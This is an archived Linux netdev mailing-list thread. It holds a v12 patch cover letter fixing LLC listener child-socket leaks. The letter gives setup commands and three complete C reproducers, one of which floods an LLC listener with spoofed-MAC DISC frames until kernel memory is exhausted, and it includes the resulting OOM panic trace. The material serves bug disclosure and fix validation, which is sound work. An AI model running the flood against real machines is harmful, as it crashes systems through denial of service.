mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* [PATCH net v12 0/1] llc: fix listener child socket leaks
@ 2026-09-24 16:32 Zihan Xi
  2026-09-24 16:32 ` [PATCH net v12 1/1] " Zihan Xi
  0 siblings, 1 reply; 2+ messages in thread
From: Zihan Xi @ 2026-09-24 16:32 UTC (permalink / raw)
  To: netdev; +Cc: zihanx, linux-kernel, davem, edumazet, kuba, pabeni, horms

Hi netdev,

The affected file is net/llc/llc_conn.c. The change is limited to
listener-side frame classification and admission/lifetime handling for
unaccepted passive-open children. Established LLC sockets continue
through the existing receive path.

---- details below ----

Bug details:

llc_conn_handler() created and published a child socket for any frame
matching a listener. Non-SABME frames cannot complete passive open, so
the resulting children stayed in the SAP hash with SAP and device
references held.
SABME children could also be stranded if backlog admission, state-machine
processing or listener teardown failed. Their indications were not
counted against the accept backlog.

The patch creates children only for SABME, replies to DISC and other
P=1 commands from the listener, and drops other non-SABME frames. It
accounts indications against the accept backlog, ties unaccepted-child
cleanup to the indication skb, and holds skb->dev while a frame waits in
backlog. A deferred SABME that drains after the listener leaves
TCP_LISTEN is dropped before the state machine can dereference its unset
skb->sk.

The child-publication behavior dates to 1da177e4c3f4
("Linux-2.6.12-rc2"); d389424e00f9 ("[LLC]: Fix the accept path")
retained it. Fixes therefore points to the original commit.

Validation status

The final v12 patch, including the ownerless-backlog guard, built
successfully. SABME accept/close, accept-backlog and a 110000-frame
DISC flood passed in a 2-vCPU, 2-GB x86 QEMU guest. After the flood,
/proc/net/llc/socket contained only its header; the log ended with
LLC_POC_DONE and had no BUG, Oops or panic (KASAN was not enabled).
The tests did not directly exercise a deferred SABME drained after the
listener leaves TCP_LISTEN, or the net_device-unregister race.

The OOM log below is separate evidence from an unfixed Linux v6.12.74
guest. There, panic_on_oom=2 made exhaustion fatal during a DISC flood;
that setting is not needed to trigger the leak. The trace was decoded
with the matching v6.12.74 vmlinux.

Access and test setup

PF_LLC sockets are restricted to init_net. Local testing ran as root to
create a veth pair. On an existing interface, the receive trigger needs
CAP_NET_RAW, not CAP_NET_ADMIN; changing panic_on_oom for the separate
OOM run also requires privilege. packetdrill cannot express both a
PF_LLC listener/accept lifecycle and AF_PACKET Ethernet injection with
rotating source MACs, so the reproducer uses C programs.

Reproducer

Build the programs from the bug directory. Create the veth pair once
(requires CAP_NET_ADMIN), then run each test in init_net with CAP_NET_RAW:

    gcc -O2 -static -Wall -Wextra -o poc poc.c
    gcc -O2 -static -Wall -Wextra -o poc-sabme poc-sabme.c
    gcc -O2 -static -Wall -Wextra -o poc-backlog verify/poc-backlog.c
    ip link add llc_rx0 type veth peer name llc_tx0
    ip link set llc_rx0 address 02:11:22:33:44:55
    ip link set llc_tx0 address 02:11:22:33:44:66
    ip link set llc_rx0 up
    ip link set llc_tx0 up
    ./poc-sabme accept llc_rx0 llc_tx0
    ./poc-sabme close llc_rx0 llc_tx0 100
    ./poc-backlog llc_rx0 llc_tx0 1 10
    ./poc llc_rx0 llc_tx0 100
    wc -l /proc/net/llc/socket

For the unfixed-kernel OOM evidence, use a fresh unfixed guest after
compiling the PoC and setting up the veth pair. As root, set
panic_on_oom before the long DISC flood:

    # fresh unfixed guest
    echo 2 > /proc/sys/vm/panic_on_oom
    ./poc llc_rx0 llc_tx0 110000

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define DEFAULT_REPORT_EVERY 10000ULL

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s [rx_if] [tx_if] [count]\n"
		"  rx_if: LLC listener interface (default: %s)\n"
		"  tx_if: raw packet sender interface (default: %s)\n"
		"  count: number of DISC frames to send, 0 means forever\n",
		prog, DEFAULT_RX_IF, DEFAULT_TX_IF);
}

static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_errno("ioctl(SIOCGIFHWADDR)");

	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	close(fd);
}

static int get_ifindex(const char *ifname)
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die_errno("ioctl(SIOCGIFINDEX)");

	close(fd);
	return ifr.ifr_ifindex;
}

static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
	struct sockaddr_llc addr;
	int fd;

	fd = socket(AF_LLC, SOCK_STREAM, 0);
	if (fd < 0)
		die_errno("socket(AF_LLC)");

	get_if_hwaddr(ifname, mac);

	memset(&addr, 0, sizeof(addr));
	addr.sllc_family = AF_LLC;
	addr.sllc_arphrd = ARPHRD_ETHER;
	addr.sllc_sap = sap;
	memcpy(addr.sllc_mac, mac, ETH_ALEN);

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_errno("bind(AF_LLC)");
	if (listen(fd, 16) < 0)
		die_errno("listen(AF_LLC)");

	return fd;
}

static int make_packet_socket(const char *ifname, int *ifindex_out)
{
	struct sockaddr_ll sll;
	int fd;
	int one = 1;
	int ifindex = get_ifindex(ifname);

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (fd < 0)
		die_errno("socket(AF_PACKET)");

	setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifindex;

	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("bind(AF_PACKET)");

	*ifindex_out = ifindex;
	return fd;
}

static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
	mac[0] = 0x02;
	mac[1] = (n >> 32) & 0xff;
	mac[2] = (n >> 24) & 0xff;
	mac[3] = (n >> 16) & 0xff;
	mac[4] = (n >> 8) & 0xff;
	mac[5] = n & 0xff;
}

int main(int argc, char **argv)
{
	static unsigned char frame[ETH_ZLEN];
	unsigned char dst_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];
	struct sockaddr_ll sll;
	const char *rx_if = DEFAULT_RX_IF;
	const char *tx_if = DEFAULT_TX_IF;
	uint64_t count = 0;
	uint64_t i = 1;
	int listener_fd;
	int packet_fd;
	int ifindex;

	if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
		usage(argv[0]);
		return 0;
	}
	if (argc > 1)
		rx_if = argv[1];
	if (argc > 2)
		tx_if = argv[2];
	if (argc > 3) {
		char *end = NULL;

		errno = 0;
		count = strtoull(argv[3], &end, 0);
		if (errno || !end || *end != '\0') {
			fprintf(stderr, "invalid count: %s\n", argv[3]);
			return EXIT_FAILURE;
		}
	}
	if (argc > 4) {
		usage(argv[0]);
		return EXIT_FAILURE;
	}

	listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
	packet_fd = make_packet_socket(tx_if, &ifindex);

	memset(frame, 0, sizeof(frame));
	memcpy(frame, dst_mac, ETH_ALEN);
	((struct ethhdr *)frame)->h_proto = htons(3);
	frame[ETH_HLEN + 0] = DEFAULT_SAP;
	frame[ETH_HLEN + 1] = 0x04;
	frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memcpy(sll.sll_addr, dst_mac, ETH_ALEN);

	fprintf(stderr,
		"listener_if=%s sender_if=%s sap=0x%02x count=%s\n",
		rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0");
	fprintf(stderr,
		"listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n",
		dst_mac[0], dst_mac[1], dst_mac[2],
		dst_mac[3], dst_mac[4], dst_mac[5]);
	fprintf(stderr,
		"sending LLC DISC commands with a unique spoofed source MAC each time\n");

	while (!count || i <= count) {
		fill_src_mac(src_mac, i);
		if (!memcmp(src_mac, dst_mac, ETH_ALEN))
			src_mac[ETH_ALEN - 1] ^= 1;
		memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);

		if (sendto(packet_fd, frame, sizeof(frame), 0,
			   (struct sockaddr *)&sll, sizeof(sll)) < 0)
			die_errno("sendto(AF_PACKET)");

		if (!(i % DEFAULT_REPORT_EVERY))
			fprintf(stderr, "sent=%llu\n",
				(unsigned long long)i);
		i++;
	}

	close(packet_fd);
	close(listener_fd);
	return 0;
}
------END poc.c--------

------BEGIN poc-sabme.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define SABME_CMD 0x6f

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
	struct ifreq ifr;
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	if (fd < 0)
		die_errno("socket(AF_INET)");
	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_errno("ioctl(SIOCGIFHWADDR)");
	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	close(fd);
}

static int get_ifindex(const char *ifname)
{
	struct ifreq ifr;
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	if (fd < 0)
		die_errno("socket(AF_INET)");
	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die_errno("ioctl(SIOCGIFINDEX)");
	close(fd);
	return ifr.ifr_ifindex;
}

static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
	struct sockaddr_llc addr;
	int fd = socket(AF_LLC, SOCK_STREAM, 0);

	if (fd < 0)
		die_errno("socket(AF_LLC)");
	get_if_hwaddr(ifname, mac);
	memset(&addr, 0, sizeof(addr));
	addr.sllc_family = AF_LLC;
	addr.sllc_arphrd = ARPHRD_ETHER;
	addr.sllc_sap = sap;
	memcpy(addr.sllc_mac, mac, ETH_ALEN);
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_errno("bind(AF_LLC)");
	if (listen(fd, 16) < 0)
		die_errno("listen(AF_LLC)");
	return fd;
}

static int make_packet_socket(const char *ifname, int *ifindex_out)
{
	struct sockaddr_ll sll;
	int one = 1;
	int ifindex = get_ifindex(ifname);
	int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

	if (fd < 0)
		die_errno("socket(AF_PACKET)");
	setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifindex;
	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("bind(AF_PACKET)");
	*ifindex_out = ifindex;
	return fd;
}

static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
	mac[0] = 0x02;
	mac[1] = (n >> 32) & 0xff;
	mac[2] = (n >> 24) & 0xff;
	mac[3] = (n >> 16) & 0xff;
	mac[4] = (n >> 8) & 0xff;
	mac[5] = n & 0xff;
}

static void send_sabme(int packet_fd, int ifindex, const unsigned char dst[ETH_ALEN],
		       const unsigned char src[ETH_ALEN])
{
	static unsigned char frame[ETH_ZLEN];
	struct sockaddr_ll sll;

	memset(frame, 0, sizeof(frame));
	memcpy(frame, dst, ETH_ALEN);
	memcpy(frame + ETH_ALEN, src, ETH_ALEN);
	((struct ethhdr *)frame)->h_proto = htons(3);
	frame[ETH_HLEN + 0] = DEFAULT_SAP;
	frame[ETH_HLEN + 1] = 0x04;
	frame[ETH_HLEN + 2] = SABME_CMD;
	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memcpy(sll.sll_addr, dst, ETH_ALEN);
	if (sendto(packet_fd, frame, sizeof(frame), 0,
		   (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("sendto(AF_PACKET)");
}

static void usage(const char *prog)
{
	fprintf(stderr, "usage: %s accept|close [rx_if] [tx_if] [count]\n", prog);
}

int main(int argc, char **argv)
{
	unsigned char dst_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];
	const char *mode;
	const char *rx_if = DEFAULT_RX_IF;
	const char *tx_if = DEFAULT_TX_IF;
	uint64_t count = 1;
	uint64_t i;
	int listener_fd;
	int packet_fd;
	int ifindex;

	if (argc < 2) {
		usage(argv[0]);
		return EXIT_FAILURE;
	}
	mode = argv[1];
	if (argc > 2)
		rx_if = argv[2];
	if (argc > 3)
		tx_if = argv[3];
	if (argc > 4) {
		char *end = NULL;

		errno = 0;
		count = strtoull(argv[4], &end, 0);
		if (errno || !end || *end != '\0' || !count) {
			fprintf(stderr, "invalid count: %s\n", argv[4]);
			return EXIT_FAILURE;
		}
	}

	listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
	packet_fd = make_packet_socket(tx_if, &ifindex);
	fprintf(stderr, "mode=%s listener_if=%s sender_if=%s count=%llu\n",
		mode, rx_if, tx_if, (unsigned long long)count);

	if (!strcmp(mode, "accept")) {
		int child;
		struct sockaddr_llc addr;
		socklen_t addrlen = sizeof(addr);
		struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };

		fill_src_mac(src_mac, 1);
		if (!memcmp(src_mac, dst_mac, ETH_ALEN))
			src_mac[ETH_ALEN - 1] ^= 1;
		send_sabme(packet_fd, ifindex, dst_mac, src_mac);
		setsockopt(listener_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
		child = accept(listener_fd, (struct sockaddr *)&addr, &addrlen);
		if (child < 0)
			die_errno("accept(AF_LLC)");
		printf("SABME passive open accepted\naccept_rc=0\n");
		close(child);
		close(packet_fd);
		close(listener_fd);
		return 0;
	}

	if (!strcmp(mode, "close")) {
		for (i = 1; i <= count; i++) {
			fill_src_mac(src_mac, i);
			if (!memcmp(src_mac, dst_mac, ETH_ALEN))
				src_mac[ETH_ALEN - 1] ^= 1;
			send_sabme(packet_fd, ifindex, dst_mac, src_mac);
		}
		close(packet_fd);
		close(listener_fd);
		printf("SABME sent without accept and listener closed\n");
		return 0;
	}

	usage(argv[0]);
	return EXIT_FAILURE;
}
------END poc-sabme.c--------

------BEGIN poc-backlog.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#define DEFAULT_SAP 0xc0
#define SABME_CMD 0x6f

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
	struct ifreq ifr;
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	if (fd < 0)
		die_errno("socket(AF_INET)");
	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_errno("ioctl(SIOCGIFHWADDR)");
	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	close(fd);
}

static int get_ifindex(const char *ifname)
{
	struct ifreq ifr;
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	if (fd < 0)
		die_errno("socket(AF_INET)");
	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die_errno("ioctl(SIOCGIFINDEX)");
	close(fd);
	return ifr.ifr_ifindex;
}

static int llc_socket_count(void)
{
	FILE *fp = fopen("/proc/net/llc/socket", "r");
	char line[256];
	int count = 0;

	if (!fp)
		return -1;
	if (!fgets(line, sizeof(line), fp)) {
		fclose(fp);
		return -1;
	}
	while (fgets(line, sizeof(line), fp))
		count++;
	fclose(fp);
	return count;
}

static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
	mac[0] = 0x02;
	mac[1] = (n >> 32) & 0xff;
	mac[2] = (n >> 24) & 0xff;
	mac[3] = (n >> 16) & 0xff;
	mac[4] = (n >> 8) & 0xff;
	mac[5] = n & 0xff;
}

int main(int argc, char **argv)
{
	const char *rx_if = argc > 1 ? argv[1] : "llc_rx0";
	const char *tx_if = argc > 2 ? argv[2] : "llc_tx0";
	int backlog = argc > 3 ? atoi(argv[3]) : 1;
	int nframes = argc > 4 ? atoi(argv[4]) : 10;
	unsigned char dst_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];
	struct sockaddr_llc addr;
	struct sockaddr_ll sll;
	static unsigned char frame[ETH_ZLEN];
	int listener_fd, packet_fd, ifindex, one = 1, i, after_send, after_close;
	int expected_max;

	listener_fd = socket(AF_LLC, SOCK_STREAM, 0);
	if (listener_fd < 0)
		die_errno("socket(AF_LLC)");
	get_if_hwaddr(rx_if, dst_mac);
	memset(&addr, 0, sizeof(addr));
	addr.sllc_family = AF_LLC;
	addr.sllc_arphrd = ARPHRD_ETHER;
	addr.sllc_sap = DEFAULT_SAP;
	memcpy(addr.sllc_mac, dst_mac, ETH_ALEN);
	if (bind(listener_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_errno("bind(AF_LLC)");
	if (listen(listener_fd, backlog) < 0)
		die_errno("listen(AF_LLC)");

	ifindex = get_ifindex(tx_if);
	packet_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (packet_fd < 0)
		die_errno("socket(AF_PACKET)");
	setsockopt(packet_fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifindex;
	if (bind(packet_fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("bind(AF_PACKET)");

	for (i = 1; i <= nframes; i++) {
		fill_src_mac(src_mac, i);
		if (!memcmp(src_mac, dst_mac, ETH_ALEN))
			src_mac[ETH_ALEN - 1] ^= 1;
		memset(frame, 0, sizeof(frame));
		memcpy(frame, dst_mac, ETH_ALEN);
		memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);
		((struct ethhdr *)frame)->h_proto = htons(3);
		frame[ETH_HLEN + 0] = DEFAULT_SAP;
		frame[ETH_HLEN + 1] = 0x04;
		frame[ETH_HLEN + 2] = SABME_CMD;
		memset(&sll, 0, sizeof(sll));
		sll.sll_family = AF_PACKET;
		sll.sll_ifindex = ifindex;
		sll.sll_halen = ETH_ALEN;
		memcpy(sll.sll_addr, dst_mac, ETH_ALEN);
		if (sendto(packet_fd, frame, sizeof(frame), 0,
			   (struct sockaddr *)&sll, sizeof(sll)) < 0)
			die_errno("sendto(AF_PACKET)");
	}
	usleep(200000);
	after_send = llc_socket_count();
	/* TCP-style: sk_acceptq_is_full() is >, so listen(N) can hold N+1. */
	expected_max = 1 + backlog + 1;
	printf("listen_backlog=%d sabme_sent=%d llc_sockets_open=%d expected_max=%d\n",
	       backlog, nframes, after_send, expected_max);
	if (after_send < 1 || after_send > expected_max) {
		fprintf(stderr, "FAIL: open socket count %d not in 1..%d\n",
			after_send, expected_max);
		return EXIT_FAILURE;
	}
	close(packet_fd);
	close(listener_fd);
	usleep(200000);
	after_close = llc_socket_count();
	printf("llc_sockets_after_close=%d\n", after_close);
	if (after_close != 0) {
		fprintf(stderr, "FAIL: leftover sockets after close: %d\n",
			after_close);
		return EXIT_FAILURE;
	}
	printf("backlog_rc=0\n");
	return 0;
}
------END poc-backlog.c--------

----BEGIN crash log----
Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled

[ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3

[ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014

[ 1665.706676][T10284] Call Trace:

[ 1665.706943][T10284]  <TASK>

[1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:118 (discriminator 3)) 

[1665.707568][T10284] panic (kernel/panic.c:611) 

[1665.707918][T10284] ? dump_header (arch/x86/include/asm/atomic64_64.h:15 include/linux/atomic/atomic-arch-fallback.h:2583 include/linux/atomic/atomic-long.h:38 include/linux/atomic/atomic-instrumented.h:3189 include/linux/vmstat.h:196 include/linux/vmstat.h:208 mm/oom_kill.c:183 mm/oom_kill.c:473) 

[1665.708305][T10284] ? __pfx_panic (kernel/panic.c:288) 

[1665.708678][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.709132][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.709616][T10284] ? out_of_memory (mm/oom_kill.c:1158 (discriminator 1)) 

[1665.710024][T10284] out_of_memory (mm/oom_kill.c:1158 (discriminator 1)) 

[1665.710435][T10284] ? __pfx_out_of_memory (mm/oom_kill.c:1114) 

[1665.710868][T10284] ? lock_acquire+0x2f/0xb0 

[1665.711243][T10284] ? __alloc_pages_noprof (mm/page_alloc.c:4188 mm/page_alloc.c:4478 mm/page_alloc.c:4839) 

[1665.711712][T10284] __alloc_pages_noprof (include/linux/vmstat.h:236 (discriminator 1) mm/page_alloc.c:4201 (discriminator 1) mm/page_alloc.c:4478 (discriminator 1) mm/page_alloc.c:4839 (discriminator 1)) 

[1665.712184][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.712658][T10284] ? hlock_class+0x4e/0x130 

[1665.713041][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.713501][T10284] ? __pfx___alloc_pages_noprof (mm/page_alloc.c:4792) 

[1665.713991][T10284] ? __pfx___lock_acquire+0x10/0x10 

[1665.714431][T10284] ? __sanitizer_cov_trace_switch+0x54/0x90 

[1665.714917][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.715381][T10284] ? policy_nodemask (mm/mempolicy.c:1865 (discriminator 1) mm/mempolicy.c:2066 (discriminator 1)) 

[1665.715788][T10284] alloc_pages_mpol_noprof (include/linux/mm.h:1637) 

[1665.716246][T10284] ? __pfx_alloc_pages_mpol_noprof (mm/mempolicy.c:2227) 

[1665.716734][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.717194][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.717656][T10284] ? xas_load (lib/xarray.c:243) 

[1665.718005][T10284] ? filemap_get_entry (mm/filemap.c:1850) 

[1665.718439][T10284] folio_alloc_noprof (include/linux/instrumented.h:68 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/page-flags.h:829 include/linux/page-flags.h:850 mm/internal.h:703 mm/internal.h:699 mm/mempolicy.c:2356) 

[1665.718847][T10284] filemap_alloc_folio_noprof (mm/filemap.c:1511) 

[1665.719316][T10284] ? __pfx_filemap_alloc_folio_noprof (mm/filemap.c:996) 

[1665.719803][T10284] ? filemap_fault (include/linux/instrumented.h:68 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/page-flags.h:562 mm/filemap.c:3241 mm/filemap.c:3342) 

[1665.720231][T10284] __filemap_get_folio (mm/filemap.c:3818) 

[1665.720683][T10284] filemap_fault (mm/internal.h:1002 mm/filemap.c:3242 mm/filemap.c:3342) 

[1665.721097][T10284] ? __pfx_filemap_fault (mm/filemap.c:3315) 

[1665.721534][T10284] ? do_pte_missing+0x165a/0x3ff0 

[1665.721944][T10284] ? __pfx_lock_release+0x10/0x10 

[1665.722375][T10284] ? __pfx_filemap_map_pages (mm/filemap.c:3645) 

[1665.722813][T10284] __do_fault (mm/memory.c:4887) 

[1665.723172][T10284] ? __pfx_filemap_map_pages (mm/filemap.c:3645) 

[1665.723621][T10284] do_pte_missing+0x174c/0x3ff0 

[1665.724026][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.724482][T10284] ? reacquire_held_locks+0x20b/0x4c0 

[1665.724932][T10284] ? lock_vma_under_rcu (include/linux/mm.h:718 (discriminator 2) mm/memory.c:6266 (discriminator 2)) 

[1665.725374][T10284] __handle_mm_fault (mm/memory.c:4791 mm/memory.c:3963 mm/memory.c:5789 mm/memory.c:5932) 

[1665.725805][T10284] ? __pfx_lock_release+0x10/0x10 

[1665.726207][T10284] ? down_read_trylock (kernel/locking/rwsem.c:1604) 

[1665.726640][T10284] ? __pfx___handle_mm_fault (mm/memory.c:5841) 

[1665.727085][T10284] ? __pfx_down_read_trylock (kernel/locking/rwsem.c:1562) 

[1665.727574][T10284] ? __pfx_lock_vma_under_rcu (mm/memory.c:6256) 

[1665.728053][T10284] handle_mm_fault (mm/memory.c:2943) 

[1665.728479][T10284] do_user_addr_fault (arch/x86/mm/fault.c:441 arch/x86/mm/fault.c:1230) 

[1665.728921][T10284] exc_page_fault (arch/x86/include/asm/irqflags.h:37 arch/x86/include/asm/irqflags.h:114 arch/x86/mm/fault.c:1485 arch/x86/mm/fault.c:1534) 

[1665.729305][T10284] asm_exc_page_fault (arch/x86/include/asm/idtentry.h:623) 

[ 1665.729700][T10284] RIP: 0033:0x559e433ce5cb

[ 1665.730065][T10284] Code: Unable to access opcode bytes at 0x559e433ce5a1.

Code starting with the faulting instruction
===========================================

[ 1665.730594][T10284] RSP: 002b:00007ffcc17c93f0 EFLAGS: 00010206

[ 1665.731148][T10284] RAX: 000000000000003c RBX: 00007ffcc17c9418 RCX: 0000559e433d10c6

[ 1665.731733][T10284] RDX: 000000000000002c RSI: 0000559e433d10c0 RDI: 0000000000000004

[ 1665.732318][T10284] RBP: 00007ffcc17c9412 R08: 00007ffcc17c9420 R09: 0000000000000014

[ 1665.732904][T10284] R10: 0000000000000000 R11: 0000000000000202 R12: 0000559e433d10c6

[ 1665.733491][T10284] R13: d288ce703afb7e91 R14: 0000000000019194 R15: 0000000000000004

[ 1665.734120][T10284]  </TASK>

[ 1665.735174][T10284] Kernel Offset: disabled

[ 1665.735576][T10284] Rebooting in 86400 seconds..
-----END crash log-----

Best regards,
Zihan Xi

Changes in v12

- Order llc_conn_handler() locals in reverse Christmas tree order.
- Create children only for SABME; answer DISC and other P=1 commands
  from the listener.
- Drop ownerless deferred SABMEs if the listener leaves TCP_LISTEN
  before backlog drain.
- Hold skb->dev while queued; account indications and release
  unaccepted children on failure and teardown.
- Previous version:
  https://lore.kernel.org/all/cover.1790062133.git.zihanx@nebusec.ai/

Zihan Xi (1):
  llc: fix listener child socket leaks

 net/llc/llc_conn.c | 175 +++++++++++++++++++++++++++++++++++++++++----
 1 file changed, 163 insertions(+), 12 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 2+ messages in thread

* [PATCH net v12 1/1] llc: fix listener child socket leaks
  2026-09-24 16:32 [PATCH net v12 0/1] llc: fix listener child socket leaks Zihan Xi
@ 2026-09-24 16:32 ` Zihan Xi
  0 siblings, 0 replies; 2+ messages in thread
From: Zihan Xi @ 2026-09-24 16:32 UTC (permalink / raw)
  To: netdev
  Cc: zihanx, linux-kernel, davem, edumazet, kuba, pabeni, horms,
	stable, Vega, Luxing Yin

LLC listener processing could retain child sockets and their SAP and
netdevice references when passive-open setup did not complete, potentially
exhausting kernel resources.

Tie unaccepted-child cleanup to the connection indication and handle
failure and listener-teardown paths. Account pending indications against
the accept backlog, and retain the receive device while deferred packets
are processed.

